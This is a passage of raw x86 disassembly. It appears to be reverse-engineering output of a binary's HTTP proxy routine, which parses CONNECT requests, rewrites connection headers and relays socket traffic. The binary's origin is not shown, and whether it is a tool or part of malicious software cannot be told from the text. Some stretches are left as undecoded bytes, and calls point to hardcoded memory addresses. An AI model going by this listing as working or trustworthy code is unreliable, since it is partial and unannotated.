byte_448F40 lea ecx, [esp+34h] mov byte ptr [esp+54A4h], 2 call sub_4012EE test eax, eax jnz short loc_4296A0 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA jmp loc_42A570 ; --------------------------------------------------------------------------- loc_4296A0: ; CODE XREF: ___:00429664j push offset asc_444600 ; " " lea eax, [esp+234h] push 0 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset off_44721C mov ecx, eax mov byte ptr [esp+54A4h], 3 call sub_40150A test eax, eax lea ecx, [esp+230h] mov byte ptr [esp+54A0h], 2 setz bl call sub_401226 test bl, bl jz short loc_429765 push offset asc_444600 ; " " lea ecx, [esp+21Ch] push 1 push ecx lea ecx, [esp+3Ch] mov byte ptr [esp+1Fh], 1 call sub_4016B8 lea edx, [esp+0B8h] mov ecx, eax push edx mov byte ptr [esp+54A4h], 4 call sub_4017EE push eax call sub_401947 add esp, 8 lea ecx, [esp+218h] test al, al setz bl mov byte ptr [esp+54A0h], 2 call sub_401226 test bl, bl jnz loc_42A5EF push offset aHttp ; "http" lea ecx, [esp+0BCh] call sub_4012EE test eax, eax jnz loc_42A5EF jmp loc_42995A ; --------------------------------------------------------------------------- loc_429765: ; CODE XREF: ___:004296E7j push offset asc_444600 ; " " lea eax, [esp+24Ch] push 0 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset aConnect_0 ; "CONNECT" mov ecx, eax mov byte ptr [esp+54A4h], 5 call sub_40150A test eax, eax lea ecx, [esp+248h] mov byte ptr [esp+54A0h], 2 setz bl call sub_401226 test bl, bl jz loc_42995A push offset aConnect ; "connect" lea ecx, [esp+0BCh] mov byte ptr [esp+17h], 0 call sub_4015E1 push offset byte_448F40 lea ecx, [esp+114h] call sub_4015E1 push offset asc_444600 ; " " lea ecx, [esp+12Ch] push 1 push ecx lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C74 ; ":" lea edx, [esp+174h] push 0 push edx mov ecx, eax mov byte ptr [esp+54ACh], 6 call sub_4016B8 push eax lea ecx, [esp+0D1h] mov byte ptr [esp+54A4h], 7 call sub_401FDC lea ecx, [esp+170h] mov byte ptr [esp+54A0h], 6 call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+54A0h], 2 call sub_401226 push offset asc_444600 ; " " lea eax, [esp+27Ch] push 1 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C74 ; ":" lea ecx, [esp+1A4h] push 1 push ecx mov ecx, eax mov byte ptr [esp+54ACh], 8 call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 9 call sub_4017EE test eax, eax lea ecx, [esp+1A0h] mov byte ptr [esp+54A0h], 8 setz bl call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+54A0h], 2 call sub_401226 test bl, bl jnz loc_42A5EF push offset asc_444600 ; " " lea edx, [esp+264h] push 1 push edx lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C74 ; ":" lea ecx, [esp+1D4h] push 1 push ecx mov ecx, eax mov byte ptr [esp+54ACh], 0Ah call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 0Bh call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+1D0h] mov [esp+10Ch], eax mov byte ptr [esp+54A0h], 0Ah call sub_401226 lea ecx, [esp+260h] mov byte ptr [esp+54A0h], 2 call sub_401226 mov eax, [esp+10Ch] test eax, eax jnz short loc_42995A mov dword ptr [esp+10Ch], 50h loc_42995A: ; CODE XREF: ___:00429760j ; ___:004297ACj ... push offset asc_444600 ; " " lea edx, [esp+4Ch] push 0 push edx lea ecx, [esp+3Ch] call sub_4016B8 push offset byte_448F40 lea ecx, [esp+4Ch] mov byte ptr [esp+54A4h], 0Ch call sub_4012EE test eax, eax jz loc_42A5DE push offset asc_444600 ; " " lea eax, [esp+64h] push 2 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset byte_448F40 lea ecx, [esp+64h] mov byte ptr [esp+54A4h], 0Dh call sub_4012EE test eax, eax jz loc_42A5CD lea ecx, [esp+0CDh] push ecx lea ecx, [esp+8Ch] call sub_4014D3 mov ecx, 1000h xor eax, eax lea edi, [esp+498h] or ebx, 0FFFFFFFFh rep stosd mov edi, offset aHttprox ; "HTTPROX" mov ecx, ebx repne scasb not ecx sub edi, ecx lea edx, [esp+4498h] mov eax, ecx mov esi, edi mov edi, edx mov byte ptr [esp+54A0h], 0Eh shr ecx, 2 rep movsd mov ecx, eax lea eax, [esp+4498h] and ecx, 3 rep movsb mov esi, offset asc_4471F4 ; "\r\n" loc_429A21: ; CODE XREF: ___:00429A3Fj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429A45 test cl, cl jz short loc_429A41 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429A45 add eax, 2 add esi, 2 test cl, cl jnz short loc_429A21 loc_429A41: ; CODE XREF: ___:00429A2Bj xor eax, eax jmp short loc_429A49 ; --------------------------------------------------------------------------- loc_429A45: ; CODE XREF: ___:00429A27j ; ___:00429A35j sbb eax, eax sbb eax, ebx loc_429A49: ; CODE XREF: ___:00429A43j test eax, eax jz loc_429B23 mov edi, dword_511AD8 loc_429A57: ; CODE XREF: ___:00429B1Dj mov esi, offset byte_448F40 lea eax, [esp+4498h] loc_429A63: ; CODE XREF: ___:00429A81j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429A87 test cl, cl jz short loc_429A83 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429A87 add eax, 2 add esi, 2 test cl, cl jnz short loc_429A63 loc_429A83: ; CODE XREF: ___:00429A6Dj xor eax, eax jmp short loc_429A8B ; --------------------------------------------------------------------------- loc_429A87: ; CODE XREF: ___:00429A69j ; ___:00429A77j sbb eax, eax sbb eax, ebx loc_429A8B: ; CODE XREF: ___:00429A85j test eax, eax jz loc_429B23 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+449Ch] push 1000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_42A629 lea edx, [esp+4498h] push 4000h lea eax, [esp+49Ch] push edx push eax call edi ; strncat push 4000h lea ecx, [esp+4A8h] push offset asc_4471F4 ; "\r\n" push ecx call edi ; strncat add esp, 18h mov esi, offset asc_4471F4 ; "\r\n" lea eax, [esp+4498h] loc_429AF3: ; CODE XREF: ___:00429B11j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429B17 test cl, cl jz short loc_429B13 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429B17 add eax, 2 add esi, 2 test cl, cl jnz short loc_429AF3 loc_429B13: ; CODE XREF: ___:00429AFDj xor eax, eax jmp short loc_429B1B ; --------------------------------------------------------------------------- loc_429B17: ; CODE XREF: ___:00429AF9j ; ___:00429B07j sbb eax, eax sbb eax, ebx loc_429B1B: ; CODE XREF: ___:00429B15j test eax, eax jnz loc_429A57 loc_429B23: ; CODE XREF: ___:00429A4Bj ; ___:00429A8Dj mov esi, dword_511B04 lea eax, [esp+498h] push offset aProxyConnectio ; "Proxy-Connection:" push eax call esi ; strstr add esp, 8 test eax, eax jz short loc_429B77 push offset asc_444C74 ; ":" push eax call esi ; strstr add esp, 8 inc eax jz short loc_429B77 cmp byte ptr [eax], 20h jnz short loc_429B5B loc_429B52: ; CODE XREF: ___:00429B59j mov cl, [eax+1] inc eax cmp cl, 20h jz short loc_429B52 loc_429B5B: ; CODE XREF: ___:00429B50j push offset aKeepAlive ; "Keep-Alive" push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz short loc_429B77 mov byte ptr [ebp+0BAh], 1 jmp short loc_429B7E ; --------------------------------------------------------------------------- loc_429B77: ; CODE XREF: ___:00429B3Dj ; ___:00429B4Bj ... mov byte ptr [ebp+0BAh], 0 loc_429B7E: ; CODE XREF: ___:00429B75j cmp [ebp+0BFh], ebx jnz loc_429C16 push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, ebx mov [ebp+0BFh], eax jz loc_42A6FD mov edx, [esp+10Ch] xor ecx, ecx mov [esp+78h], ecx push edx mov [esp+80h], ecx mov word ptr [esp+7Ch], 2 mov [esp+84h], ecx mov [esp+88h], ecx nop call near ptr 71AB2B66h lea ecx, [esp+0CDh] mov [esp+7Ah], ax call sub_4017EE push eax call sub_40188E add esp, 4 cmp eax, ebx mov [esp+7Ch], eax jz loc_42A63B mov ecx, [ebp+0BFh] lea eax, [esp+78h] push 10h push eax push ecx nop call near ptr 71AB406Ah cmp eax, ebx jz loc_42A698 loc_429C16: ; CODE XREF: ___:00429B84j mov al, [esp+13h] test al, al jz loc_42A2BE mov al, [ebp+0BAh] test al, al jz short loc_429C61 lea edx, [esp+498h] lea ecx, [esp+60h] push edx call sub_4017EE push eax lea ecx, [esp+118h] call sub_4017EE push eax lea ecx, [esp+54h] call sub_4017EE push eax lea eax, [esp+24h] push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s" push eax jmp short loc_429C94 ; --------------------------------------------------------------------------- loc_429C61: ; CODE XREF: ___:00429C2Aj lea ecx, [esp+498h] push ecx lea ecx, [esp+64h] call sub_4017EE push eax lea ecx, [esp+118h] call sub_4017EE push eax lea ecx, [esp+54h] call sub_4017EE push eax lea edx, [esp+24h] push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s" push edx loc_429C94: ; CODE XREF: ___:00429C5Fj call sub_40102D add esp, 18h lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE push eax mov eax, [ebp+0BFh] push eax call near ptr 71AB428Ah nop test eax, eax jz loc_42A6E2 cmp eax, ebx jz loc_42A6E2 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+49Ch] push 4000h push ecx push edx call sub_401280 add esp, 10h test al, al jz loc_42A70F mov edi, offset asc_4471F4 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+49Ch] push ecx mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah xor ebx, ebx mov esi, offset asc_4471F4 ; "\r\n" mov [esp+2Ch], ebx lea eax, [esp+498h] loc_429D5E: ; CODE XREF: ___:00429D7Cj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429D82 test cl, cl jz short loc_429D7E mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429D82 add eax, 2 add esi, 2 test cl, cl jnz short loc_429D5E loc_429D7E: ; CODE XREF: ___:00429D68j xor eax, eax jmp short loc_429D87 ; --------------------------------------------------------------------------- loc_429D82: ; CODE XREF: ___:00429D64j ; ___:00429D72j sbb eax, eax sbb eax, 0FFFFFFFFh loc_429D87: ; CODE XREF: ___:00429D80j test eax, eax jz loc_42A109 loc_429D8F: ; CODE XREF: ___:0042A0F8j mov esi, offset byte_448F40 lea eax, [esp+498h] loc_429D9B: ; CODE XREF: ___:00429DBDj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_429DC3 test cl, cl jz short loc_429DBF mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_429DC3 add eax, 2 add esi, 2 test cl, cl jnz short loc_429D9B loc_429DBF: ; CODE XREF: ___:00429DA7j xor eax, eax jmp short loc_429DC8 ; --------------------------------------------------------------------------- loc_429DC3: ; CODE XREF: ___:00429DA3j ; ___:00429DB3j sbb eax, eax sbb eax, 0FFFFFFFFh loc_429DC8: ; CODE XREF: ___:00429DC1j test eax, eax jz loc_42A105 mov ecx, [ebp+0BFh] push 0 lea eax, [esp+49Ch] push 4000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_42A100 lea edx, [esp+498h] lea ecx, [esp+0A0h] push edx call sub_401870 push offset asc_444600 ; " " lea eax, [esp+204h] push 0 push eax lea ecx, [esp+0ACh] mov byte ptr [esp+54ACh], 0Fh call sub_4016B8 push offset aContentLength ; "Content-Length:" mov ecx, eax mov byte ptr [esp+54A4h], 10h call sub_40150A test eax, eax lea ecx, [esp+200h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429EAA push offset asc_444600 ; " " lea ecx, [esp+144h] push 1 push ecx lea ecx, [esp+0ACh] call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 11h call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+140h] mov [esp+2Ch], eax mov byte ptr [esp+54A0h], 0Fh call sub_401226 loc_429EAA: ; CODE XREF: ___:00429E5Cj push offset asc_444600 ; " " lea edx, [esp+15Ch] push 0 push edx lea ecx, [esp+0ACh] call sub_4016B8 push offset aTransferEncodi ; "Transfer-Encoding:" mov ecx, eax mov byte ptr [esp+54A4h], 12h call sub_40150A test eax, eax lea ecx, [esp+158h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429F39 push offset asc_444600 ; " " lea eax, [esp+18Ch] push 1 push eax lea ecx, [esp+0ACh] call sub_4016B8 push offset aChunked ; "chunked" mov ecx, eax mov byte ptr [esp+54A4h], 13h call sub_40150A lea ecx, [esp+188h] mov byte ptr [esp+54A0h], 0Fh call sub_401226 loc_429F39: ; CODE XREF: ___:00429EF4j push offset asc_444600 ; " " lea ecx, [esp+1BCh] push 0 push ecx lea ecx, [esp+0ACh] call sub_4016B8 push offset aConnection ; "Connection:" mov ecx, eax mov byte ptr [esp+54A4h], 14h call sub_40150A test eax, eax lea ecx, [esp+1B8h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429FD4 push offset asc_444600 ; " " lea edx, [esp+1ECh] push 1 push edx lea ecx, [esp+0ACh] call sub_4016B8 push offset aKeepAlive ; "Keep-Alive" mov ecx, eax mov byte ptr [esp+54A4h], 15h call sub_40150A test eax, eax lea ecx, [esp+1E8h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl setnz byte ptr [esp+11h] loc_429FD4: ; CODE XREF: ___:00429F83j mov esi, offset asc_4471F4 ; "\r\n" lea eax, [esp+498h] loc_429FE0: ; CODE XREF: ___:0042A002j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42A008 test cl, cl jz short loc_42A004 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42A008 add eax, 2 add esi, 2 test cl, cl jnz short loc_429FE0 loc_42A004: ; CODE XREF: ___:00429FECj xor eax, eax jmp short loc_42A00D ; --------------------------------------------------------------------------- loc_42A008: ; CODE XREF: ___:00429FE8j ; ___:00429FF8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42A00D: ; CODE XREF: ___:0042A006j test eax, eax jz loc_42A0A9 mov esi, offset byte_448F40 lea eax, [esp+498h] loc_42A021: ; CODE XREF: ___:0042A043j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42A049 test cl, cl jz short loc_42A045 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42A049 add eax, 2 add esi, 2 test cl, cl jnz short loc_42A021 loc_42A045: ; CODE XREF: ___:0042A02Dj xor eax, eax jmp short loc_42A04E ; --------------------------------------------------------------------------- loc_42A049: ; CODE XREF: ___:0042A029j ; ___:0042A039j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42A04E: ; CODE XREF: ___:0042A047j test eax, eax jz short loc_42A0A9 mov edi, offset asc_4471F4 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+49Ch] push ecx mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah loc_42A0A9: ; CODE XREF: ___:0042A00Fj ; ___:0042A050j lea ecx, [esp+0A0h] mov byte ptr [esp+54A0h], 0Eh call sub_401226 mov esi, offset asc_4471F4 ; "\r\n" lea eax, [esp+498h] loc_42A0C9: ; CODE XREF: ___:0042A0EBj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42A0F1 test cl, cl jz short loc_42A0ED mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42A0F1 add eax, 2 add esi, 2 test cl, cl jnz short loc_42A0C9 loc_42A0ED: ; CODE XREF: ___:0042A0D5j xor eax, eax jmp short loc_42A0F6 ; --------------------------------------------------------------------------- loc_42A0F1: ; CODE XREF: ___:0042A0D1j ; ___:0042A0E1j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42A0F6: ; CODE XREF: ___:0042A0EFj test eax, eax jnz loc_429D8F jmp short loc_42A105 ; --------------------------------------------------------------------------- loc_42A100: ; CODE XREF: ___:00429DF0j mov byte ptr [esp+12h], 1 loc_42A105: ; CODE XREF: ___:00429DCAj ; ___:0042A0FEj mov ebx, [esp+2Ch] loc_42A109: ; CODE XREF: ___:00429D89j mov al, [esp+11h] push 0 test al, al jz short loc_42A131 mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [ebp+0BBh] not ecx dec ecx push ecx push offset aConnectionKeep ; "Connection: Keep-Alive\r\n" push eax jmp short loc_42A14D ; --------------------------------------------------------------------------- loc_42A131: ; CODE XREF: ___:0042A111j mov edi, offset aConnectionClos ; "Connection: Close\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, [ebp+0BBh] push offset aConnectionClos ; "Connection: Close\r\n" push ecx loc_42A14D: ; CODE XREF: ___:0042A12Fj nop call near ptr 71AB428Ah mov edi, offset asc_4471F4 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push 0 mov eax, ecx mov esi, edi mov edi, edx mov edx, [ebp+0BBh] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx lea ecx, [esp+4A0h] push ecx push edx nop call near ptr 71AB428Ah test ebx, ebx jz loc_42A27C xor edi, edi test ebx, ebx jle short loc_42A204 loc_42A1B3: ; CODE XREF: ___:0042A202j mov eax, ebx sub eax, edi cmp eax, 4000h jbe short loc_42A204 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+49Ch] push 4000h push ecx push edx nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_42A204 cmp esi, 0FFFFFFFFh jz short loc_42A204 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+49Ch] push esi push eax push ecx call near ptr 71AB428Ah nop add edi, esi cmp edi, ebx jl short loc_42A1B3 loc_42A204: ; CODE XREF: ___:0042A1B1j ; ___:0042A1BCj ... mov eax, ebx sub eax, edi jz short loc_42A24E loc_42A20A: ; CODE XREF: ___:0042A24Cj push 0 push eax mov eax, [ebp+0BFh] lea edx, [esp+4A0h] push edx push eax nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_42A24E cmp esi, 0FFFFFFFFh jz short loc_42A24E mov edx, [ebp+0BBh] push 0 lea ecx, [esp+49Ch] push esi push ecx push edx call near ptr 71AB428Ah nop add edi, esi mov eax, ebx sub eax, edi jnz short loc_42A20A loc_42A24E: ; CODE XREF: ___:0042A208j ; ___:0042A227j ... mov al, [ebp+0BAh] test al, al jnz loc_42A4DF mov ecx, [ebp+0BBh] push ecx nop call near ptr 71AB9639h or esi, 0FFFFFFFFh mov byte ptr [esp+12h], 1 mov [ebp+0BBh], esi jmp loc_42A4E2 ; --------------------------------------------------------------------------- loc_42A27C: ; CODE XREF: ___:0042A1A7j mov esi, dword_511CA4 loc_42A282: ; CODE XREF: ___:0042A2BCj mov ecx, [ebp+0BFh] push 0 lea eax, [esp+49Ch] push 4000h push eax push ecx call esi ; recv cmp eax, 1 jl short loc_42A24E cmp eax, 0FFFFFFFFh jz short loc_42A24E push 0 push eax mov eax, [ebp+0BBh] lea edx, [esp+4A0h] push edx push eax nop call near ptr 71AB428Ah jmp short loc_42A282 ; --------------------------------------------------------------------------- loc_42A2BE: ; CODE XREF: ___:00429C1Cj lea ecx, [esp+14h] push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"... push ecx call sub_40102D add esp, 8 lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov edx, [ebp+0BBh] push eax push edx nop call near ptr 71AB428Ah test eax, eax jz loc_42A782 cmp eax, ebx jz loc_42A782 mov ebx, dword_511CA4 mov eax, [ebp+0BBh] mov edx, [ebp+0BFh] mov [esp+294h], eax mov dword ptr [esp+290h], 1 xor eax, eax lea ecx, [esp+294h] loc_42A330: ; CODE XREF: ___:0042A33Bj cmp [ecx], edx jz short loc_42A33D inc eax add ecx, 4 cmp eax, 1 jb short loc_42A330 loc_42A33D: ; CODE XREF: ___:0042A332j cmp eax, 1 jnz short loc_42A354 mov [esp+298h], edx mov dword ptr [esp+290h], 2 loc_42A354: ; CODE XREF: ___:0042A340j mov ecx, 1000h xor eax, eax lea edi, [esp+498h] push eax rep stosd push eax lea ecx, [esp+298h] push eax push ecx push eax nop call near ptr 71AB2DC0h mov eax, [ebp+0BBh] lea edx, [esp+290h] push edx push eax call sub_438256 ; --------------------------------------------------------------------------- dw 0C085h dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h dd 0A024848Dh, 50000004h, 0C3E89051h, 8371689Eh, 840FFFF8h dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h dd 0DE72h, 4274C085h, 0BF958Bh, 6A0000h, 9C248C8Dh, 68000004h dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh dd 6A000000h, 848D5000h, 4A024h, 90515000h, 689E69E8h dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 0F07EE890h, 333D7168h dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 68F02BE8h, 333D9071h dd 75000027h, 90016A0Dh, 425B3FE8h, 0FE43E902h, 858BFFFFh dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_42A4DF: ; CODE XREF: ___:0042A256j or esi, 0FFFFFFFFh loc_42A4E2: ; CODE XREF: ___:0042A277j mov al, [esp+11h] test al, al jnz short loc_42A502 mov edx, [ebp+0BFh] push edx nop call near ptr 71AB9639h mov [ebp+0BFh], esi mov byte ptr [esp+12h], 1 loc_42A502: ; CODE XREF: ___:0042A4E8j lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA or esi, 0FFFFFFFFh loc_42A570: ; CODE XREF: ___:0042969Bj mov al, [esp+12h] test al, al jz loc_4295E8 loc_42A57C: ; CODE XREF: ___:0042A624j ; ___:0042A77Dj mov al, [ebp+0BAh] test al, al jz short loc_42A599 mov eax, [ebp+0BBh] push eax call near ptr 71AB9639h nop mov [ebp+0BBh], esi loc_42A599: ; CODE XREF: ___:0042A584j mov al, [esp+11h] test al, al jz short loc_42A5B4 mov ecx, [ebp+0BFh] push ecx nop call near ptr 71AB9639h mov [ebp+0BFh], esi loc_42A5B4: ; CODE XREF: ___:0042A59Fj ; ___:0042A805j mov ecx, [esp+5498h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 5494h retn ; --------------------------------------------------------------------------- loc_42A5CD: ; CODE XREF: ___:004299BAj lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 loc_42A5DE: ; CODE XREF: ___:00429987j lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 loc_42A5EF: ; CODE XREF: ___:00429741j ; ___:0042975Aj ... lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 loc_42A600: ; CODE XREF: ___:00429635j lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA jmp loc_42A57C ; --------------------------------------------------------------------------- loc_42A629: ; CODE XREF: ___:00429AB3j mov eax, [ebp+0BBh] push eax nop call near ptr 71AB9639h jmp loc_42A79A ; --------------------------------------------------------------------------- loc_42A63B: ; CODE XREF: ___:00429BF4j lea ecx, [esp+0CDh] call sub_4017EE push eax lea ecx, [esp+18h] push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov edx, [ebp+0BBh] push eax push edx nop call near ptr 71AB428Ah mov eax, [ebp+0BBh] mov esi, dword_511C9C push eax call esi ; closesocket mov ecx, [ebp+0BFh] push ecx jmp loc_42A798 ; --------------------------------------------------------------------------- loc_42A698: ; CODE XREF: ___:00429C10j mov edx, [esp+10Ch] lea ecx, [esp+0CDh] push edx call sub_4017EE push eax lea eax, [esp+1Ch] push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push eax call sub_40102D add esp, 10h lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov ecx, [ebp+0BBh] push eax push ecx call near ptr 71AB428Ah nop loc_42A6E2: ; CODE XREF: ___:00429CC1j ; ___:00429CC9j mov edx, [ebp+0BBh] mov esi, dword_511C9C push edx call esi ; closesocket mov eax, [ebp+0BFh] push eax jmp loc_42A798 ; --------------------------------------------------------------------------- loc_42A6FD: ; CODE XREF: ___:00429B9Ej mov ecx, [ebp+0BBh] push ecx nop call near ptr 71AB9639h jmp loc_42A79A ; --------------------------------------------------------------------------- loc_42A70F: ; CODE XREF: ___:00429CEFj lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], ebx call sub_4014BA or esi, 0FFFFFFFFh jmp loc_42A57C ; --------------------------------------------------------------------------- loc_42A782: ; CODE XREF: ___:0042A2F5j ; ___:0042A2FDj mov ecx, [ebp+0BBh] mov esi, dword_511C9C push ecx call esi ; closesocket mov edx, [ebp+0BFh] push edx loc_42A798: ; CODE XREF: ___:0042A693j ; ___:0042A6F8j call esi ; closesocket loc_42A79A: ; CODE XREF: ___:0042A636j ; ___:0042A70Aj lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], ebx call sub_4014BA jmp loc_42A5B4 ; --------------------------------------------------------------------------- db 6 dup(90h) db 4A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42ACB0 proc near ; CODE XREF: sub_4018EDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42ACB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset aHttp_0 ; "HTTP" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F15C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42ACB0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42AD20: ; 